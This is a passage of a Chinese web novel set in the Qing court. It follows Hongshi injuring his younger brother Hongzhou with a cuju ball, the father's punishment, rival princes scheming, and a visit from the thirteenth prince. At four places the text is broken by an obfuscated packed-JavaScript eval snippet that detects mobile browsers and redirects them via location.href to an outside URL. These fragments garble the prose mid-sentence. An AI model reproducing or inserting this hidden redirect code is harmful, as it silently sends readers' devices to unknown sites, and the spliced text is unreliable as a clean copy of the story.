苏培盛在一旁小心地研磨,抬眼看了一下自家主子的神情,虽然还是一贯的冷淡脸,但他却在其中看出了主子的心情不错。 四爷心中是满意的,他定下规矩要府中的小阿哥在三岁就搬到前院来不是他觉得孩子三岁便能读进去书了。而是不愿将男子养在内宅之中,府中的福晋侧福晋和格格,有的知书达理能将孩子教导得不错,但有的品行一般,若是将孩子品行教的左了,日后想要纠正回来便是耗费万般力气也不一定有用。 从前弘昐和弘时搬到前院的时候,都是哭了好几日的,但弘历和弘昼却并未这般,这两个孩子不错。想来只要好好教导,日后必然是不会差的。 这般想着,四爷冷淡的脸上露出了一个笑意,但在下一瞬便收敛了,因为有小厮通禀三阿哥的先生求见。 弘时的先生和弘历弘昼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992756|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的并非是同一人,弘时的先生姓柳,是镶蓝旗中的汉军旗人,也称得上满腹才华。但因家中长辈之故,不能科考入仕,当初四爷为弘昐找先生的时候找到了这位,后来弘昐过世,柳先生也留下来继续教弘时了。 “草民参见王爷。”柳先生恭敬地行礼道。 之前他虽然满腹才华,但不得施展之处,还因为父亲败光了家业反而过得很是贫苦。到了雍亲王做了西席之后,不论怎么说过得要比之前好上数倍。 “先生请起,赐座。”四爷将手中的毛笔放下,下意识地揉了揉手腕,“先生前来,所为何事?” “王爷近来因为朝事忧心,本不该前来叨扰,”柳先生脸上带了点无奈,“但三阿哥近日上课时皆是神思不属,这功课也……” 柳先生此来只为一件事,那便是告状。雍亲王府西席是个好差事,他并不想弄丢,但若三阿哥在他手底下没有教好,那这西席的位置必然是保不住的。特别是听闻这刚搬来前院的四阿哥和五阿哥还挺聪慧的,两相对比之下若是三阿哥太不长进了也不行。 可他说话三阿哥最多只听一半,这几日更是一半都不听了。他也实在无法,这才想着前来找一找雍亲王。 四爷的脸色一寸寸地收紧,原本的一点笑意彻底不见,变成了漆黑一片。苏培盛偷偷瞥了一眼,连忙低下头,主子这是心情差极了。 送走了柳先生之后,四爷便派人将弘时叫过来狠狠地训斥了一通,差点抬出家法来。上回教训了才过几日,竟然就又开始不用心念书了。 弘时战战兢兢地听着,这段日子为着那两个搬来前院的事情,连他都靠边站了,阿玛不仅这段日子没来考校他的学业,甚至都不曾找过他。他早就心怀不满了,是以这才满心怨愤懈怠了念书。 在听到阿玛骂自己的时候都不忘夸那两个新搬来前院的两句,心里不由更加怨恨了。 还什么懂事聪慧,想来都是被他们额娘教的。 被四爷训斥了一通的弘时,刚踏出四爷的书房准备回自己的院子将这几日的功课好好补上,免得过几日阿玛考校的时候被骂,就看到了正在踢着一个小蹴鞠玩儿的弘昼和弘历。 这是前几日弘昼得到的小玩具,这个东西和现代的足球很是类似,让他很喜欢。正好踢着玩可以拉着四哥一起运动,只要白天够累,晚上就没心思悲春伤秋了。 看着那边踢得你来我往的好不热闹,忽地弘昼一失误,这个蹴鞠没有踢到弘历那边,而是被踢到了弘时的脚边。 弘时看着滚到自己这里几乎已经停下的蹴鞠,又想起方才阿玛骂着自己都不忘夸这两个小子,心中升起了一股邪火。 凭什么你们就能得阿玛的夸奖,我就得挨骂? 鬼使神差下用了劲儿,这蹴鞠就朝着弘昼的方向飞了过去,直到听见砰的一声,弘昼被蹴鞠踢得直接倒在了地上。 30.第 30 章 第30章 蹴鞠被自己踢出去的瞬间,弘时就清醒了过来。看着弘昼被蹴鞠踢倒,他心中蔓延出一股窃喜,随即就变成了惊恐。 阿玛方才不是在书房处理事情吗,怎么会突然出来? 看着阿玛似乎要喷出火来的双眼,弘时瑟缩了一下白皙的面庞变得更白了些,张嘴便道:“阿玛,儿,儿子不是故意的,儿子不过是想要将蹴鞠踢回去给五弟,没注意力气用大了些……” 弘历已经跑到了弘昼身旁,眼眶红红地查看他:“弟弟,弟弟你没事吧,痛不痛呜呜呜……” 旁边伺候的人也赶紧围了上来,想要看看五阿哥有没有大碍。这才搬到前院几日,怎么就遭了这么大的罪。 四爷冷冷地看了一眼弘时,路过他的时候给了他一个响亮的耳光,随即大步向前走到了弘昼身边见弘昼躺在地上捂着被踢到的地方说不出来心中一惊,连忙打横抱起抱入了自己的院子吩咐道:“快些去请太医前来。” 弘时愣在原地,抚摸着自己被打了一巴掌的脸。 这么多年来,即便阿玛再怎么生气,最多也就是打两下手板心。像这样当着这么多伺候的人打,还是头一回。 但马上他就顾不上悲春伤秋了,因为将弘昼抱进了院子的四爷吩咐了苏培盛出来。 “三阿哥,”苏培盛脸上也没了笑意,“爷吩咐您在这跪着。” “跪着?”弘时愣了愣,“跪到什么时候?” “这个……爷没有说。” 弘时张嘴便想要叫屈,但想到被抱进去的五弟还有方才阿玛森冷的目光。最后还是老老实实在原地跪下,这院子里有着四爷平日里办公的书房,还有平常不去后院休息的卧房,往常便人来人往的。 今日叫了太医,来往伺候的人便更多了些。虽说这往来的人都不敢直视三阿哥,但弘时还是觉得每个路过的人都在看着自己,看着自己被阿玛罚跪在这里,看着自己这个阿玛的长子颜面尽失。 弘昼疼得厉害,这蹴鞠一下子就击中了他的腹部,让他觉得腹部传来了钻心的疼痛,还有些呼吸困难。那蹴鞠的力道极重,猛地冲过来在他还没有反应过来的时候就感受到了腹部被重物击中后的疼痛。 弘历也跟了进来,在旁边急得团团转:“阿玛,阿玛弟弟不会有事吧,弟弟一定没有事的吧。” 四爷没应,将弘昼放到了他的床上后伸出手就开始解弘昼的衣裳。看着腹部有点被击中的红,其余的看不出什么后,用被子将弘昼盖上了。 见弘历在一旁急得团团转,四爷温声安抚了两句后便将弘历的张嬷嬷叫来让她将弘历带回自己的院子。小孩子在这里帮不上忙,还会跟着一起着急,还是带回自己院子里待着吧。 素日里四爷最是爱洁,若是从前有人说会有人衣裳上都是尘土就被他放到自己的床上他是决计不会信的。但今日也实在无法,顾不上这么多了。 “疼……”弘昼的眉头紧蹙,无意识地呢喃着。 四爷听见这虚弱的呼痛声,心略微有些揪了起来。他平素对孩子较为严格,是盼着日后能有出息,但看着这么小的孩子在床上呼痛的模样很难不会心疼。 太医是从紫禁城中请来,虽说雍亲王府在京城中的位置极好,但派人去紫禁城走一趟又把太医叫来还是耽搁了大半个时辰。 等太医前来时,掀开弘昼盖着的被子,旁边的弘历不禁倒吸了一口冷气。原本只是有些红肿的腹部,现在青青紫紫的一片,看上去极为骇人。 一旁的四爷眼神也略微深了深,面上不动声色但心中怒意盎然。 请来的赵太医自然也见到了外头跪着的人,他常出入雍亲王府,算得上是四爷信任的人,自然是认识三阿哥弘时的。但这明显不太对的氛围让他很自然地闭上了嘴,假装没有看到三阿哥跪在外面。 将弘昼全身上下细细检查了一遍后,赵太医捋了捋自己的山羊胡说道:“这伤处看着骇人,但好在五脏六腑并无太大损伤,此乃大幸。但五阿哥毕竟年幼,这样伤了一回,接下来的日子要好好将养着,若是不慎,恐会留下暗伤,虽不至于影响寿数,但也会在日后缠绵病榻。” 听着赵太医的话,四爷先是心情一松,提到腹部最怕的就是内里的五脏六腑有什么大碍。若是五脏六腑并无大碍,那日后只需好好养着,府中不论什么珍贵的药材都是能弄到的。 但听见后面的话,又紧张了起来。小五自出生起便很是康健,耿氏将他养得极好,平日里甚少生病,可以说是他府中最好养的孩子了。若是经过这一遭,让这孩子变得体弱多病起来,那可就太遭罪了。 诊断完之后,赵太医留下了一张方子命早晚一次喝上三日。又留了一瓶外敷的药,叮嘱了一番之后就告辞了。 四爷接过药后,放轻了手上的动作,将弘昼的腹部都敷上药后盖上了透气的薄被。命人将屋中的炭盆多放几个,既然盖不了厚被子那就让屋内暖和些。 此时下人煎好的药送了上来,弘昼被叫起来喝药。四爷将药一勺一勺喂了过去,弘昼被苦得只觉得人生无望,若非腹部实在疼痛他简直想要将药夺过来直接一口闷了。 喝完药,感受着室内的暖意,弘昼终于沉沉地睡了过去。只是睡得还是不安稳,时不时地就想要抚一下自己的肚子,四爷命人在床边点了盏昏暗的灯,派了人在这里看着弘昼睡觉,免得若睡觉不老实将自己受伤的地方压了。 做完这些后,四爷从室内出来,走到了院外。 此时天色已经昏暗,一轮皓月悬于空中,周围伴着几颗星星,但这几颗星星极为昏暗,若是不专门去瞧,说不定都看不见。 弘时还跪在那里,除却弘时的小厮祥桂陪着自家主子一起跪着之外,这里几乎没有什么别的人了。伺候的下人们虽然知道是王爷在罚三阿哥,但并不敢多看,除却一定要走这里,其余的皆是绕路了,生怕自己在这里多走了两次让三阿哥记住了,日后记起来了找机会来报复自己。 在这里已经跪了两个多时辰了,弘时的面色一半在月色的映衬之下更加苍白,另一半则肿起来很高,方才四爷那一巴掌是用了全力的。他听见声音微微抬起头来,在看见阿玛那张冷峻的脸后,面上激动了一下,随即就变成了害怕。 自幼起便没有遭过这么大的罪,弘时只觉得自己的腿宛如针扎一般的疼。但他不敢私自起来,方才已经犯了大错,若是自己起来阿玛更生气了怎么办。 “阿玛,”见四爷已经走到了面前,弘时仰起头来,可以将自己那肿起来的一巴掌对着四爷,“儿子知道错了。” “错在哪?”四爷的声音冷淡,听不出什么别的情绪。 “儿子不应和五弟玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998976|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候没有分寸,”弘时说道,在这里跪着的这段日子里他已经想好了,是决计不能承认自己是故意的,一定得是不小心的,“五弟年幼,和他玩的时候本就该注意些力道,日后决计不会了。” 听见弘时的话,四爷眼中的失望之色加深。已经在这里跪了几个时辰了,依旧不肯说实话,对手足兄弟无关心怜悯之情,竟连弘昼的一句话都不曾问过,一开口是认错,但却不敢将自己真错的地方说出来。 “你只有这话想说?”四爷再问了一遍,他决定给这个不聪明的长子一次机会。 听到四爷的问话,弘时迷茫了一瞬间,随即点了点头。他不敢承认自己是故意,也只有这么多话可以说,毕竟多说多错。 见弘时点头,四爷闭了闭眼。 在外面和老八老九斗法,被他们捉到小辫子在朝堂上参的时候,他都没有这么无力。此时他无比的怀念曾经的弘晖和弘昐,这两个孩子都聪慧,只要活下来一个他此时又何至于指望弘时。 “你,这般年幼便对手足兄弟这般狠心,你口中说是想和弘昼玩乐,但这书房外头人来人往的,你以为你所作所为便能瞒住所有人吗?”四爷语气中带上了一点抑制不住的愤怒,“犯错之后不仅撒谎,还屡教不改,这些年的孔孟之道你都读到狗肚子里去了?!” 弘时本来还仰着脸想在阿玛那里卖惨,不曾想到等来的不仅不是阿玛的嘘寒问暖,而且劈头盖脸的一通骂。 “犯了这样大的错,不打不足以以儆效尤,拖出去打上十板子。”四爷冷肃道。 弘时开始学骑射还不足一年,年岁也还不大,十板子已经够他受的了,接下来的十天半个月想来是要躺在床上了。 听见阿玛口中的话,弘时宛如天塌了。他没有挨过板子,但他见下人挨过板子,甚至有些挨板子多的挺过去了那一顿板子没几日就去了,阿玛怎么能这样待他。 不多时,外面就传来了弘时的痛呼声,前院一夜灯火通明。 这件事在一晚上传遍了后院,耿执羽惊得六神无主,几乎要跑到前院来看看弘昼是不是真的无碍。但最后被钮祜禄格格劝住了,既然爷已经责罚了三阿哥,那这件事便算过去了,若是主动跑到四爷面前叫,以这位爷的性子怕是会心中生恼。 直到听到张嬷嬷的禀报,耿执羽才算冷静下来,弘昼无大碍就好。只是心中对于三阿哥和李侧福晋多了些恨意,她的弘时从来就是不爱惹事的性子,这回也是好好在外面玩着又没有招惹三阿哥,凭什么这样行事。 福晋受到了四爷的知会,安抚了耿执羽两回,也在早晨请安的时候训斥了李侧福晋好几回。李侧福晋多年来没有当面被训斥过了,臊得她面皮通红,心中恨恨的。 既然已经责罚了弘时,这件事便算过去了,凭什么福晋在后院偏袒耿氏那个贱人。更何况不过是被踢了一下,弘时竟然挨了十板子,四爷眼看着也是偏向那两个小贱种的。 这件事在雍亲王府中就算是过去了,四爷和福晋都已经责罚了犯事的人。即便耿执羽觉得不够,但也只能听从兮兰姐姐的话当这件事过去了。 但雍亲王府外的人得知了此事,心中盘算的可就多了。 “你说什么,咱们四哥打了他那个长子?怎么可能,四哥不是最宝贝他那个儿子了。”九爷拨弄着桌上的香炉噗笑一声。 31.第 31 章 第31章 “诶?”十爷原本正低头看着自己的玉佩,听着这句话也感兴趣地抬起头来,“可知详情?这个长子从前那般在意,如今竟不怕小孩子年岁小挨了板子发高烧吗?” 在这个年代,若是孩子发了高热,那便是极为危险了。即使这高热褪下去能捡回一条命也有被烧成傻子的风险,所以孩童期间最怕孩子发热。而挨了皮肉之苦,发热是常见的。 连最上首的八爷手中的笔也停顿了片刻,似乎也在听下面人的汇报。 像他们这样互相作对这么多年的政敌,在对方府上安插人手是再正常不过的事情。八爷也知道自己府上定然也有四哥安插的人手,所以能在书房走动的全都是自幼起便跟在他身边的人,被买通的可能性极低。 若是一般的小事自然也不一定能传出来,因为这被安插进去的人并不在什么要紧的位置。但府中的三阿哥伤了五阿哥,甚至牵连了后院的两位侧福晋格格,早就传遍府上了。他自然也知道了,趁着出府的时间将消息传给了与他接头的人。 “回九爷十爷的话,”下头的那人低着脑袋,知道这个消息必然能让上首的三位高兴,说不得自己也能领些赏钱,语调带着点愉悦,“听闻是雍亲王府的三阿哥踢蹴鞠的时候将五阿哥踢伤了,还叫了太医呢,当日那三阿哥就被罚了,跪了两三个时辰后打的十板子。” “跪了两三个时辰后打的十板子?”九爷彻底下了自己拨弄的香炉,转头看着八爷笑道,“八哥,这可不就是咱们的好机会?” “下去领赏吧。”八爷放下了手中的毛笔,对着下面的人挥了挥手先将他下去,才看向九爷,“什么好机会?” 九爷不耐烦地啧了一声,“八哥你这不是明知故问嘛,这弘时已经叫人引了他两三回了,他心中恐怕早就对他阿玛不满了。如今出了这一遭,咱们不得打蛇随棍上,赶紧让弘时知道他阿玛不好,但是有几个好叔叔呀。” 八爷没有应,端起了茶杯抿了一口。 “这小子看起来真不像是四哥养大的,”十爷歪着身子坐在椅子上,跷着二郎腿,“四哥自幼起便是一肚子的心眼子,但这小子不过听着外面的人说了几句话,便这样信了。也不知道四哥那个性子,是怎么养出这么单纯的儿子的。” “若非这小子被养成这样,咱们也没有可乘之机啊。”九爷抚着下巴,似乎想到了日后从弘时这里套出对四哥不利的证据,脸上的笑意越发浓厚。 “这段日子先别动,”八爷开口,唇边依旧是让人如沐春风的笑意,“想来刚打了人四哥这段日子对咱们这个大侄子定然看得紧,还是得等过段时间,只要还放弘时出来,咱们就不愁找不到机会。” 这些年的观察,让八爷已经大体知道了这个大侄子是个什么性子。四哥府中如今才三位小阿哥,这个大侄子就已经有了些紧迫感,这一遭过后想来更会将那两个小的恨上。届时不论想做什么,只要扯了这个旗子都好做成了。 “那是自然,咱们这最不缺的就是时间。”十爷语调中带了些漫不经心,他微微扬起唇角,动了动身子让自己靠躺在椅子上的姿势更加舒服。 屋内香炉中青烟袅袅,里头散发出了略有些甜腻的香味。 弘昼醒来的时候肚子依旧很疼,但没有昨日那般钻心的疼痛了。睁开眼睛一看,这四周并不是自己熟悉的环境,头上的床帐是蟒纹的,颜色是清雅的石青色。 见到弘昼醒了,守在旁边的郑嬷嬷赶忙上前来,扶着弘昼微微靠坐在床头上:“阿哥可有哪里不适,药已经熬好了,等咱们待会儿用膳后就能吃了。” 听到这话,弘昼嘴里不禁泛起了一阵苦味,昨天被阿玛喂药的时候那一勺勺的可真是苦极了。如果不是没有力气自己夺过来直接一饮而尽,他才不要这样一口口品尝那苦药的滋味。 若只是苦也就罢了,可那药里不知道加了什么,酸涩极了。简直比柠檬还要酸,比没有成熟的果子还要涩。 这边说着,马上有侍女端了粥过来,轻声细语道:“太医嘱咐了,这几日不好进些不克化的,今日便只能喝些粥水了,但过几日咱们五阿哥就能吃好吃的了。” 弘昼又不是真小孩子,自然不会在这方面闹什么。乖乖让侍女给自己喂饭,吃完了又一口气将那玉碗里的药一饮而尽,最后塞了一颗甜甜的蜜饯入嘴压下了那一嘴的酸涩味。 “咱们小阿哥真乖。” 郑嬷嬷在一旁捧场地夸赞,弘昼是她从小带到大的,昨日瞧着那骇人的伤势自然是心疼的。心中更是将三阿哥骂了无数遍,不过她的身份让她不敢将这些话说出来。 之后便是要在腹部涂药了,弘昼的衣裳被掀开,看着自己青青紫紫的腹部不由倒吸了一口凉气。昨天看着还没有这样吓人,怎么今天看起来就成这样了。 原本白皙的腹部如今青紫交替,有些地方还红肿着,看上去就知道这里之前遭了多大的罪。别说弘昼自己了,张嬷嬷看着眼睛里都不由泛起了一丝泪意。 咽下了几乎要脱口而出对三阿哥不敬的话,郑嬷嬷轻手轻脚地将药膏抹在了弘昼的伤处。在药还没上完的时候,四爷便从外面走了进来。 一进来就看到这腹部的青紫,四爷眼中闪过一丝疼惜,但很快就被怒意代替。 “阿玛?”弘昼看到了进来的四爷,唤了一声。 四爷轻轻嗯了一下,手在弘昼的脑袋上摸了摸,柔声道:“今日还疼吗?” “疼,”弘昼重重点了一下脑袋,眼睛里似乎都要泛起泪珠来,“好疼呀,比昨日还疼,阿玛,为什么三哥要踢我?” 听见这话,四爷微微挥了挥手,屋内的下人会意地走了出去。片刻之后,屋中只剩下了这两父子,四爷坐在了弘昼的床边。 “你三哥这件事,阿玛已经罚过他了。”四爷的声音轻柔,这是平日里很少见到的,“你和你三哥是兄弟,本是该兄友弟恭的。你三哥一时鬼迷心窍才做下了这样的错事,其实是想和你一起踢蹴鞠不小心用太大的力道了,如今已经被罚了,咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但弘昼还是不愿意说原谅,日后长大了说不定就要被直接压着“原谅”了。但现在自己是小孩子,任性一点也无所谓的。 “才不要原谅,我以后不和三哥玩了,我要和四哥玩。”弘昼气哼哼说道。 四爷无法,总不能和小孩子讲什么利弊得失,他又听不懂。况且这件事弘昼还是苦主,他也不好勉强,只能转移话题。 “你和你四哥这几日在前院可还适应?” 弘昼也不追着他继续说之前的事情了,而是讲了讲自己这几天在前院干了什么。和四哥一起玩,一起吃饭,还有听先生讲课也说了。 听着弘昼如同流水账一般的话,四爷没有不耐,听着听着嘴边不由得泛起了一点笑意。这孩童无忧无虑的生活,听起来格外解颐。 但讲了没多久,就听到门外传来了叩门的声音,四爷唤了声进,苏培盛小心翼翼地走了进来,察觉到屋内气氛不错才松了口气。 “主子,十三爷来了。” 32.第 32 章 第32章 十三爷?应该是阿玛的兄弟吧,弘昼在心中想到。府中喊四爷一般是叫爷或者王爷,但之前跟着阿玛去参加宫宴的时候,弘昼也听到了不少人喊阿玛四爷,结合一下阿玛是皇子的这个身份很快就能得出阿玛行四是四皇子。 而这位十三爷既没有提及姓氏,又没有提及官位,应当就是阿玛的兄弟了。 不过皇玛法还真挺能生的,皇子就有十几个了,再加上公主岂不是又二十几个孩子。以前在前世的时候倒是听说过清朝著名的九子夺嫡,也不知道是不是这个朝代的事情。 四爷听到苏培盛的话语之后对着弘昼又安抚了几句,便起身去书房了。 书房中的十三爷早已坐在椅子上等着,有眼力见的下人们已经上了今年新出的雨前龙井。 “十三弟,”四爷刚踏进书房,便笑着打招呼。 有了冷面王爷的称号之后,四爷见到外面的人都不大爱笑了。但唯有见到十三弟,不论什么时候每回都能笑得出来。 十三爷起身相迎,面上也露出了笑意:“四哥。” 他身材魁梧,明显是多年勤于骑射。五官也偏向硬朗,但眉宇间自带了一股潇洒的气质,含笑的时候更是有些风流的韵味。 四爷进来直奔着主位,坐下之后喝了口茶问道:“怎么想着今儿过来我这瞧瞧了?往日里你可不爱往我这府中走动。” 自一废太子过后,原本圣眷优渥的十三爷便被康熙厌弃。这几年来一直称得上是夹着尾巴做人,十三爷知道自己不受老爷子的待见,也不愿在明面上多和四哥来往,也就不经常前来雍亲王府。 “这回是听闻了一个消息,”十三爷一点不卖关子,“汗阿玛要停了八哥府中和属官的食俸。” “什么?”四爷诧异,“老八最近干什么了?” “八哥最近可安分得很,已经称得上是足不出户了。”十三爷的嘴角噙了一丝笑意,“听说是弘晳在汗阿玛面前不小心又提了去岁过年的那一对海东青。” 去岁年关将至的时候,八爷从蒙古寻摸了一对品相上佳的海东青。康熙素来对这样的猛禽钟爱有加,便想着用这对海东青来讨一讨汗阿玛的好。但谁知这海东青送上去之后,当着群臣的面揭开帷幕,竟然一只已经死了,而另一只也是半死不活的样子。 这让这些年本就忌讳自己已经年岁逐渐老去的康熙直接暴怒,当场就斥责了八爷辛者库贱奴之子。这句话可以说堵了八爷日后继位的可能,也让八爷沉寂了些日子。 “弘晳,”四爷也乐了,“看来弘晳这是还记得当年的事情。” 曾经的太子胤礽被废,八爷也是出了不少的力气的。而弘晳身为废太子的长子,对他阿玛曾经的政敌看不惯也实属正常。 “是啊,这样狗咬狗的好事,咱们可难得遇见一回。”十三爷道,“不如趁着八哥这回失意,将他们那几个跳得高的京官贬出去几个?” 痛打落水狗的道理谁都懂,趁着汗阿玛想起去年的事情,打压他们那一党的气焰才是正理。 四爷摇了摇头:“去岁那件事咱们已经动了不少人了,现在这几个京官也不聪明,暂且留着罢。若是这几个走了,他们还要费力气再捧人上来,若捧了几个聪明人那咱们才麻烦呢。” “这话也对。”十三爷没意见,又聊了几句别的后笑道,“这回来还有一件喜事告知四哥。” “什么事?”四爷问道。 十三爷面上浮现了两分喜意:“我福晋怀孕了,大夫已经号准了脉,已有三月了。” “这是大喜事啊。”四爷不禁有些羡慕。 十三爷和十三福晋的感情好,这几年间几乎是一年一个孩子往外生。已经有了两个嫡子和一个嫡女了,四爷看着十三弟夫妇琴瑟和睦,偶尔也会羡慕片刻。 可惜他没有这个福气,从福晋过门以来。他们夫妇之间就做不到真正的坦诚,自然更谈不上举案齐眉琴瑟和鸣了。 恭喜了几句后,又聊起了孩子。 “四哥是不知道,我这整日里虽然没有差事,但管着孩子已经是筋疲力尽了。弘昌这孩子固然聪慧,但实在是有些不听话,而弘暾又有些太听话了,可为人实在愚笨不堪,这两个孩子倘若能中和一下就好了。” 说起孩子这个话题,十三爷简直是一肚子的苦水想要往外吐。府中这两个孩子都不是好教的,而且一个已经九岁了,另一个也七岁了,年纪不算小了也不知道能不能教回来。 说起教育,四爷也一肚子苦水,将昨日发生的事情与十三爷讲了叹道:“这儿女都是前世的债。” “弘时这般年纪,怎能有这样的心思。”十三爷听得眉头紧蹙,他府上这两个孩子固然不好教,但品行上瞧着是没什么大问题的。但弘时此举,说得上是品行出了差错。 对年幼的弟弟这般心狠,而且这般愚蠢在大庭广众之下行事。 “我也正发愁呢,”四爷长叹了一口气,“从前我只这一个孩子了,没得选,是一门心思想教得文武双全,品行斐然。但不知为何却成了这样,这弘昼刚到前院还不足五日呢,平日的待遇也不及他,真不知是怎么生出这个心思的。” 弘历和弘昼在待遇上是不如弘时的,弘时当初月例不够的时候来找了四爷,四爷给他抬了一半。而弘历和弘昼年幼,瞧着也没这方面的困扰,四爷也就没有动他们的月例。 “弘昼呢,身子如何了?”十三爷对这个年幼的小侄子不由多了些同情和慈爱。 “方才醒了,瞧着倒是比昨日要好些了。太医说了只需好生将养着,日后并无大碍。” “既然醒了,”十三爷思索片刻道,“我这个当叔叔的还没怎么见过这孩子呢,这回又碰上他受伤,不如过去看看?” “哪有叔叔去瞧侄子的道理。”四爷不赞同,“该等他好了之后来拜见你才对。” 十三爷朗声笑道:“四哥,我和你之间又何必讲究这些?今日凑巧碰见了,便去瞧瞧也没什么。” 这话出,四爷也不好开口推拒了。起身带着十三爷往他的卧房走,刚靠近就听见里面传来了小孩子的说话声。 弘历刚得知弟弟醒来的消息便忙不迭过来想要看看,现在正趴在床头盯着弟弟的伤口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今日过来瞧弘昼算是突发情况,过来了才发现了弘历也才。十三爷出门之前没有准备好给两个侄子的见面礼,便从自己腰间拽了一块玉佩,又从大拇指上褪下了一个扳指。两个小侄子一人递了一个,这些能上他身的东西价值皆不菲,作为见面礼也不算寒酸。 弘昼拿到的是扳指,这扳指通体呈白色,里头一点其余的杂色也没有,看得出来品相很好。 收到礼物很难不开心,弘昼和弘历齐声笑道:“谢谢十三叔。” 对着两个小侄子的感官不错的十三爷,上前一人摸了一下脑袋:“不必谢了,十三叔府上有个只比你们大一岁的堂哥,还有个比你们小两岁的弟弟,日后来十三叔府上玩,让你们认识认识。” 同龄人诶! 弘昼如今除却自己四哥还,还没见过别的同龄人,听见这话赶忙点头应了。而且十三叔说的是去他府上,那是不是代表自己能出去玩了? 33.第 33 章 第33章 弘昼在四爷的房间休养了两三天,觉得自己终于没有那么难受之后坚持搬回了自己的房间。 虽说阿玛这房间里什么东西都是最好的,但伺候的这些人都不熟悉。弘昼觉得金窝银窝不如自己的小窝,虽然这个小窝自己也没住多长时间,但这个小窝里面的每一样东西都是自己的。 回到了自己的房间后,那位三哥还假惺惺过来道歉了。不过弘昼仗着自己现在年纪还小,硬是不愿意原谅,不管旁人是怎么劝说的,弘昼都假装听不懂。 现在年纪小还能任性一下,等长大之后说不定就得被迫懂事了。这年幼的buff不用只会过期,为何不在还能用的时候好好用用呢? 过来低三下四道歉的弘时牙都要碎了,本来被阿玛打了一顿就心里憋屈。被逼着过来道歉更憋屈了,谁知道弘昼竟然敢说不原谅?若非道歉的时候阿玛在一旁看着,弘时简直要甩袖子走人了。 四爷也无法,孩子再大些就能讲道理了。但这么点的孩子讲道理行不通,加之这件事本来弘昼就是受害者,四爷也不好苛责了。 等弘昼将身子彻底养好,被太医盖章认定已经好全,已经过去了大半个月了。 这大半个月中,弘昼一直躺在床上。连他下床片刻,郑嬷嬷都紧张无比,更别提放他出去户外运动了。 这可让弘昼憋坏了,从前还是婴儿时期,都会被额娘经常带着出去玩。好不容易长到能自己出去玩了,现在受伤了相当于在屋子里关了大半个月的禁闭。 弘昼被放出去的第一件事就是去后院瞧瞧额娘,受伤这件事他最开始是想要瞒着额娘的。但后面醒来才知道额娘已经知道了,既然瞒不过去了就只能在好了之后快点去给额娘瞧瞧。 回到泗水院,耿执羽早早就在等着了。 一见面,先是将弘昼拖到室内上上下下检查了一遍。特别是郑嬷嬷说的被踢伤的腹部,更是看了又看,直到确定弘昼身上的伤都已经好全了才作罢,搂着弘昼就开始嗒吧嗒吧地掉眼泪。 刚送去前院没几日,心里正是最记挂的时候,传回来消息受伤了。知道这个消息的一瞬间,耿执羽简直想要闯进前院去瞧瞧,更想要闯进三阿哥的院子中将这个祸害弟弟的孽种揍一顿。 可最后理智将她拉了回来,她不再是从前是小孩子了,不是知道弟弟妹妹被街边小孩欺负后可以揍回去的小姑娘了。在这雍亲王府中,倘若失了理智干了这样的事情,最后被连累的只会是自己的孩子。 “额娘,”感受到了额娘的情绪,弘昼将脸贴在了额娘的脸上安抚道:“我没事的,阿玛向着我呢,听四哥说阿玛狠狠打了三哥一顿板子。再说这点伤势早就好了,太医都说没什么大事呢。” 对着阿玛卖惨哭诉是为了让三哥被罚得更惨,但对着额娘就没有这个必要了。额娘又不能日日见到自己,即便知道了这些伤势也只能日日悬心。 “是额娘错了,”耿执羽用袖子将眼泪抹去,“日后你在你三哥面前不要忍让他,人不犯我,我不犯人,他若是主动前来挑事你可别让自己吃亏。” “那肯定不会。”弘昼挺了挺自己的小胸脯,骄傲道,“额娘就放心吧,有四哥和阿玛帮着我呢,对了,我这几日在床上吃了不少东西,伺候我更衣的嬷嬷都说我胖了呢。” 说着,弘昼从耿执羽的怀抱中挣脱了出来,在她面前转了一圈,表示自己这几天虽然是在养伤,但真的过得还不错。 看着儿子原本就有些肉的脸颊如今肉更多了点,耿执羽才算放心了,又拉着弘昼问了些在前院生活的细节。 在额娘这里待了一整日,直到太阳都已经落山了,弘昼才依依不舍地走了。 见了儿子一面,耿执羽才算略微放下心来。亲眼见到儿子气色不错,甚至养得胖了些,就能证明在前院没有受到慢待。看来虽说三阿哥对弘昼不友好,但四爷应当还是看重的。 养伤的时候每日里先生讲一个时辰的课程是被停了的,如今身体好了,弘昼也得早晨起床就去听课了。好在这个先生讲课和讲故事一样,在习字的时候穿插着几个小典故,学起来不仅一点不枯燥还十分有趣。 